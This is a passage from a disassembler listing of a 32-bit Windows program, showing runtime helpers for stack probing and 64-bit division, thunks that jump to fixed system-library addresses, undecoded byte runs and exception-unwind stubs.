		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_436859:				; CODE XREF: ___:004367E0j
		cmp	eax, 1000h
		jnb	short loc_43684C


loc_436860:				; CODE XREF: sub_436840+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_436840	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 0EAh, 0Dh
		dd 15E97781h, 32777E67h
		db 90h
; ---------------------------------------------------------------------------


loc_43687D:				; CODE XREF: ___:00436804j
		jmp	near ptr 77C3FA76h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 778111C8h, 35F0E990h, 0E9907780h, 7781108Ch,	7F5B6EE9h
		dd 3D831B77h, 50E9F4h, 0FF0C75FFh, 90042474h, 7FE54BE8h
		dd 68C35977h, 50E9E4h, 50E9F468h, 2474FF00h, 310E80Ch
		dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
		dd 0C348D8F7h, 593DE990h, 0E990777Fh, 778008D8h, 8E9E990h
		db 80h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368EA	proc near		; CODE XREF: sub_4198C0+28p
		nop
		jmp	near ptr 77C4FA10h
sub_4368EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4368F0	proc near		; CODE XREF: sub_41B820+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_436911
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_436961
; ---------------------------------------------------------------------------


loc_436911:				; CODE XREF: sub_4368F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_43691F:				; CODE XREF: sub_4368F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_43691F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_43694A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_43694A
		jb	short loc_436952
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_436952


loc_43694A:				; CODE XREF: sub_4368F0+4Aj
					; sub_4368F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_436952:				; CODE XREF: sub_4368F0+52j
					; sub_4368F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_436961:				; CODE XREF: sub_4368F0+1Fj
		pop	ebx
		retn	10h
sub_4368F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436970	proc near		; CODE XREF: sub_41B820+30p
					; sub_41B820+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436992
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4369D3
; ---------------------------------------------------------------------------


loc_436992:				; CODE XREF: sub_436970+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4369A0:				; CODE XREF: sub_436970+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4369CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4369CE
		jb	short loc_4369CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4369CF


loc_4369CE:				; CODE XREF: sub_436970+4Ej
					; sub_436970+54j
		dec	esi


loc_4369CF:				; CODE XREF: sub_436970+56j
					; sub_436970+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4369D3:				; CODE XREF: sub_436970+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436970	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0D3h, 0A0h
		dd 0E9907780h, 7780862Ch, 811478E9h, 0E9907B77h, 7780A486h
		dd 0A805E990h, 0E9907780h, 7780AB78h, 0A99AE990h, 0E9907780h
		dd 7780AD33h, 11D2E990h, 5FE97781h, 6F7780B1h, 8084DDE9h
		dd 0F4E90277h, 767780A3h, 569DE990h, 36E9777Fh,	0FA777E5Bh
		dd 3C0E990h, 0E9907780h, 778007C2h, 887EE990h, 0E990777Eh
		dd 77808EEDh, 0AE20E990h, 8CE97780h, 32778039h,	38B1E990h
		dd 0E9907780h, 778126B7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436A5C	proc near		; CODE XREF: ___:0043168Cp
		nop
		jmp	near ptr 77C3619Ch
sub_436A5C	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7780030Ch, 0A143E990h, 46D37780h, 7C801190h,	8BD577Ah
		dd 3DCE3AFAh, 0A16467h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FE8DCh
		dd 0D835990h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 8725E890h
		dd 0D8B777Eh, 50E8E8h, 0E8900889h, 777E86E0h, 0E8E40D8Bh
		dd 8890050h, 50FA1CA1h,	0A3008B00h, 50E9D8h, 12EE8h, 1D3900h
		dd 7500446Dh, 6C08680Ch, 86E80043h, 9077816Bh, 0FAE859h
		dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h
		dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h,	8D509045h
		dd 0E850A045h, 777E83C3h, 32086890h, 680044h, 0E8004430h
		dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0CEE850A4h
		dd 90022B95h, 1D045F6h,	0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	2429F46h
		dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 778032CEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436BCC	proc near		; CODE XREF: ___:00436814p
		nop
		jmp	near ptr 77C21868h
sub_436BCC	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
dword_436BD4	dd 777FE279h, 32BCE990h, 0E9907780h, 777FC1CAh,	7E8302E9h
		dd 0E9901B77h, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 8592E990h, 0E990777Eh
		dd 777E85C3h, 7FE75FE9h, 71E95D77h, 46777FF0h, 8205E990h
		dd 0E9907781h, 75C6973Bh, 9819E990h, 0F3E975C6h, 2075C5B3h
		dd 8843E990h, 0E9E975C5h, 0A175C697h, 0C4B31AE9h, 0F9E92575h
		dd 0F075C54Bh, 0A55E990h, 85E975C6h, 9775C4EEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C60	proc near		; CODE XREF: sub_4192C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_436C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 2389C44h, 389CD1E9h,	0E9908802h, 2399388h, 9872E990h
		dd 0E9900239h, 23A937Ch, 3AA52BE9h, 0E9904B02h,	23B9370h
		dd 3C936BE9h, 0E990AE02h, 23CA97Bh, 3CAB5FE9h, 30E91602h
		dd 0A1023CAFh, 0B191E990h, 0E990023Ch, 23D934Ch, 3D9A4AE9h
		dd 0FFE9A102h, 0B8023D9Dh, 3E933BE9h, 0E9909F02h, 23E9E7Ah
		dd 3F932FE9h, 0E990E602h, 23F95E0h, 9322E990h, 0E9900240h
		dd 241931Ch, 9316E990h,	0F3E90242h, 9502429Dh, 930AE990h
		dd 0E9900243h, 2439A07h, 439E4FE9h, 0E9907602h,	24492F8h
		dd 3892F3E9h, 0E990AE02h, 2379C0Eh, 92E6E990h, 0E9900237h
		dd 23692E0h, 9AF9E990h,	0D5E90235h, 4023592h, 92CEE990h
		dd 0E9900234h, 2339702h, 92C2E990h, 16E90233h, 2802329Eh
		dd 9888E990h, 0E9900232h, 22B92B0h, 92AAE990h, 0E9900232h
		dd 231A0B4h, 31A02CE9h,	0E9900702h, 7C4CA385h, 0A297E990h
		dd 0E9907C4Ch, 2319E73h, 319CECE9h, 0EFE94102h,	76023195h
		dd 94B2E990h, 0E9900231h, 2319469h, 926EE990h, 0E9900231h
		dd 230A0D3h, 9F25E990h,	0E9900230h, 2309C69h, 99B1E990h
		dd 97E90230h, 0E6023097h, 30950BE9h, 0E990E802h, 2309244h
		dd 0A098E990h, 0E990022Fh, 22F9B17h, 9AB6E990h,	0E990022Fh
		dd 22F9724h, 959EE990h,	0E990022Fh, 22F9220h, 9F99E990h
		dd 0B2E9022Eh, 16022E9Bh, 2E97FFE9h, 0E9907E02h, 22E97A5h
		dd 2E9203E9h, 0E9902802h, 22D9F73h, 9C9CE990h, 61E9022Dh
		dd 46022D99h, 91EAE990h, 0DE9022Dh, 0B8022C9Fh,	9D51E990h
		dd 0E990022Ch, 22C9A0Ah, 2C985BE9h, 0E990C202h,	22C91CCh
		dd 2B930CE9h, 0E990E602h, 1B9195h, 94BEE990h, 0E9900244h
		dd 24EA313h, 4A91AFE9h,	0E9901302h, 24E91A8h, 941DE990h
		dd 0E990024Dh, 24D919Ch, 9196E990h, 0E990024Ch,	24B9775h
		dd 94FBE990h, 0E990024Bh, 24B9184h, 9B23E990h, 13E9024Ah
		dd 6C024A9Ah, 971EE990h, 0E990024Ah, 24497F8h, 499C3CE9h
		dd 0FDE98802h, 9024998h, 95D5E990h, 55E90249h, 9F024991h
		dd 914EE990h, 0E9900248h, 2479148h, 46AE76E9h, 0E990FF02h
		dd 246AAA8h, 46A803E9h,	0B7E9E802h, 790246A5h, 46912BE9h
		dd 0E990B802h, 2459124h, 0A22EE990h, 0E9907C60h, 7167D059h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EE8	proc near		; CODE XREF: ___:0042C8F1p
		nop
		jmp	near ptr 71AB4FD4h
sub_436EE8	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71687585h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436EF4	proc near		; CODE XREF: sub_42C8E1+1p
		jmp	near ptr 71AB2BF4h
sub_436EF4	endp

; ---------------------------------------------------------------------------
		db 1Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436EFA	proc near		; CODE XREF: sub_42CC50+E5p
					; sub_42DC70+4Fp
		jmp	near ptr 71AB615Ah
sub_436EFA	endp

; ---------------------------------------------------------------------------
		pop	es

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F00	proc near		; CODE XREF: sub_42D1A0+9Ap
					; sub_42DD50+45p ...
		jmp	near ptr 71AB428Ah
sub_436F00	endp

; ---------------------------------------------------------------------------
		db 0B3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F06	proc near		; CODE XREF: sub_42DFD0+53p
					; sub_42DFD0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_436F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F0C	proc near
		nop
		jmp	near ptr 71AC1028h
sub_436F0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F12	proc near		; CODE XREF: sub_42CE80+71p
					; sub_42DA60+50p
		jmp	near ptr 71AB2DC0h
sub_436F12	endp

; ---------------------------------------------------------------------------
		db 6Fh
		db 90h
		db 0E9h, 0A2h, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F1E	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_436F1E	endp

; ---------------------------------------------------------------------------
		dd 67BC3DE9h
		db 71h,	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F2A	proc near		; CODE XREF: sub_42D580+187p
		jmp	near ptr 71AB951Eh
sub_436F2A	endp

; ---------------------------------------------------------------------------
		pushf

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F30	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_436F30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F36	proc near		; CODE XREF: sub_42C810+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_436F36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F3C	proc near		; CODE XREF: ___:0042C93Fp
					; sub_42D580+152p
		nop
		jmp	near ptr 71AB3B91h
sub_436F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F42	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_436F42	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0DAh, 0D4h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F4E	proc near		; CODE XREF: sub_42C790+10p
		nop
		jmp	near ptr 71AB664Dh
sub_436F4E	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 6Eh, 0E1h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F5A	proc near		; CODE XREF: sub_4338B0+Bp
		jmp	near ptr 71AB94DCh
sub_436F5A	endp

; ---------------------------------------------------------------------------
		push	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F60	proc near		; CODE XREF: sub_41A6D0+92p
					; sub_41A8C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_436F60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71689BE4h, 67D5A8E9h, 49E9C071h, 9F7167BCh, 67BD92E9h
		dd 0E990BB71h, 7167BCE5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F84	proc near
		jmp	near ptr 71AB3EA1h
sub_436F84	endp

; ---------------------------------------------------------------------------
		db 0F0h, 0E9h, 0DAh
		dd 25716817h, 0D4F3E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F96	proc near		; CODE XREF: sub_42C810+53p
					; sub_42C810+C3p
		jmp	near ptr 71ABE6EBh
sub_436F96	endp

; ---------------------------------------------------------------------------
		db 0A1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F9C	proc near		; CODE XREF: sub_42DFD0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_436F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA2	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_436FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA8	proc near		; CODE XREF: ___:0041C1B7p
					; ___:0041C1CCp
		nop
		jmp	near ptr 71B2578Ch
sub_436FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FAE	proc near		; CODE XREF: ___:0041C30Dp
					; ___:0041C32Fp
		jmp	near ptr 71B25099h
sub_436FAE	endp

; ---------------------------------------------------------------------------
		db 0E8h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FB4	proc near		; CODE XREF: sub_41FF90+B4p
		jmp	near ptr 76BF215Ah
sub_436FB4	endp

; ---------------------------------------------------------------------------
		cmpsb

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FBA	proc near		; CODE XREF: sub_41FF90+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_436FBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC0	proc near		; CODE XREF: sub_41FF90+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_436FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FC6	proc near		; CODE XREF: ___:0041B1B4p
		jmp	near ptr 76F36C5Bh
sub_436FC6	endp

; ---------------------------------------------------------------------------
		db 32h
		db 90h
		db 0E9h, 7Ch, 0F2h
dword_436FD0	dd 0E9907780h, 7780F14Dh, 0F192E990h, 0E9907780h, 7780F33Ch
		dd 2C7h	dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh,	8DFFFC97h
		dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_4367C8
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_437B7B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_4367C8
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_4367C8
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FC8:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_4367C8
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FF8:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_4367C8
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_4367C8
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438048:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_4367C8
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380C8:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_4367C8
SEH_403EE0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
